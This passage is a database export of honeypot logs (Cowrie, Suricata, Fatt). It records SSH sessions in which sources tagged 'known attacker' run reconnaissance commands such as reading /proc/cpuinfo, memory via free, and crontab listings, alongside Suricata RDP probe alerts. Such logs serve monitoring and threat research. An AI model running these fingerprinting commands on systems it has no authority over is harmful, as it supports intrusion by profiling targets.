31700	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:17.159634+03	2021-09-20 15:00:02.513717+03	{"_id": "wAYIA3wBvYTbRNuEJUUM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:17.159634Z", "@timestamp": "2021-09-20T11:47:17.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31701	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:18.444896+03	2021-09-20 15:00:02.515716+03	{"_id": "xwYIA3wBvYTbRNuEKEX2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "107.0.200.227", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2671024799346924, "duplicate": true, "timestamp": "2021-09-20T11:47:18.444896Z", "@timestamp": "2021-09-20T11:47:18.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31856	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:57.483318+03	2021-09-20 15:00:02.711717+03	{"_id": "vQYIA3wBvYTbRNuEwUZk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:57.483318Z", "@timestamp": "2021-09-20T11:47:57.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31702	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:18.178932+03	2021-09-20 15:00:02.516717+03	{"_id": "yQYIA3wBvYTbRNuEKEX2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:18.178932Z", "@timestamp": "2021-09-20T11:47:18.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31703	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:17.644339+03	2021-09-20 15:00:02.517717+03	{"_id": "wgYIA3wBvYTbRNuEJUUM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:17.644339Z", "@timestamp": "2021-09-20T11:47:17.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31704	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:18.178431+03	2021-09-20 15:00:02.518718+03	{"_id": "xgYIA3wBvYTbRNuEKEX2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:18.178431Z", "@timestamp": "2021-09-20T11:47:18.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31705	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:47:12.000934+03	2021-09-20 15:00:02.519716+03	{"_id": "lAYIA3wBvYTbRNuED0U0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:46:10.415813+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 417472775870533, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 54218, "timestamp": "2021-09-20T11:47:12.000934Z", "@timestamp": "2021-09-20T11:47:12.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31706	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:47:22.688206+03	2021-09-20 15:00:02.520717+03	{"_id": "6gYIA3wBvYTbRNuEOkUw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:47:21.980911+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2124516122294191, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50140, "dest_port": 3389, "timestamp": "2021-09-20T11:47:22.688206Z", "@timestamp": "2021-09-20T11:47:22.688Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31707	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:47:22.33537+03	2021-09-20 15:00:02.521717+03	{"_id": "7QYIA3wBvYTbRNuEOkUw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:47:21.980911+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2124516122294191, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 50140, "dest_port": 3389, "timestamp": "2021-09-20T11:47:22.335370Z", "@timestamp": "2021-09-20T11:47:22.335Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31708	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:47:22.34839+03	2021-09-20 15:00:02.523717+03	{"_id": "6QYIA3wBvYTbRNuEOkUw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:47:21.980911+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2124516122294191, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 50140, "timestamp": "2021-09-20T11:47:22.348390Z", "@timestamp": "2021-09-20T11:47:22.348Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31709	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:47:22.33537+03	2021-09-20 15:00:02.524717+03	{"_id": "7gYIA3wBvYTbRNuEO0U0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 50140, "dest_port": 3389, "timestamp": "2021-09-20T11:47:22.335370", "@timestamp": "2021-09-20T11:47:22.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
31710	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:23.158331+03	2021-09-20 15:00:02.525717+03	{"_id": "8QYIA3wBvYTbRNuEPEWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "107.0.200.227", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2683568000793457, "duplicate": true, "timestamp": "2021-09-20T11:47:23.158331Z", "@timestamp": "2021-09-20T11:47:23.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31711	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:22.890743+03	2021-09-20 15:00:02.526716+03	{"_id": "8gYIA3wBvYTbRNuEPEWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:22.890743Z", "@timestamp": "2021-09-20T11:47:22.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31712	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:23.400324+03	2021-09-20 15:00:02.527716+03	{"_id": "8AYIA3wBvYTbRNuEPEWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:23.400324Z", "@timestamp": "2021-09-20T11:47:23.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31713	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:23.400856+03	2021-09-20 15:00:02.528718+03	{"_id": "8wYIA3wBvYTbRNuEPEWA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:23.400856Z", "@timestamp": "2021-09-20T11:47:23.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31714	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:22.890059+03	2021-09-20 15:00:02.529716+03	{"_id": "9AYIA3wBvYTbRNuEPEWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:22.890059Z", "@timestamp": "2021-09-20T11:47:22.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31715	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:23.667345+03	2021-09-20 15:00:02.530717+03	{"_id": "9QYIA3wBvYTbRNuEPEWB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "107.0.200.227", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2671010494232178, "duplicate": true, "timestamp": "2021-09-20T11:47:23.667345Z", "@timestamp": "2021-09-20T11:47:23.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31716	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:24.180204+03	2021-09-20 15:00:02.531717+03	{"_id": "9wYIA3wBvYTbRNuEQEVp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "107.0.200.227", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26766061782836914, "duplicate": true, "timestamp": "2021-09-20T11:47:24.180204Z", "@timestamp": "2021-09-20T11:47:24.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31799	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:56.490676+03	2021-09-20 15:00:02.638716+03	{"_id": "sgYIA3wBvYTbRNuEvUZ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:56.490676Z", "@timestamp": "2021-09-20T11:47:56.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31717	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:23.912626+03	2021-09-20 15:00:02.532716+03	{"_id": "-AYIA3wBvYTbRNuEQEVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:23.912626Z", "@timestamp": "2021-09-20T11:47:23.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31718	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:24.433436+03	2021-09-20 15:00:02.534717+03	{"_id": "-QYIA3wBvYTbRNuEQEVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:24.433436Z", "@timestamp": "2021-09-20T11:47:24.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31719	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:24.433976+03	2021-09-20 15:00:02.535717+03	{"_id": "-gYIA3wBvYTbRNuEQEVq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:24.433976Z", "@timestamp": "2021-09-20T11:47:24.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 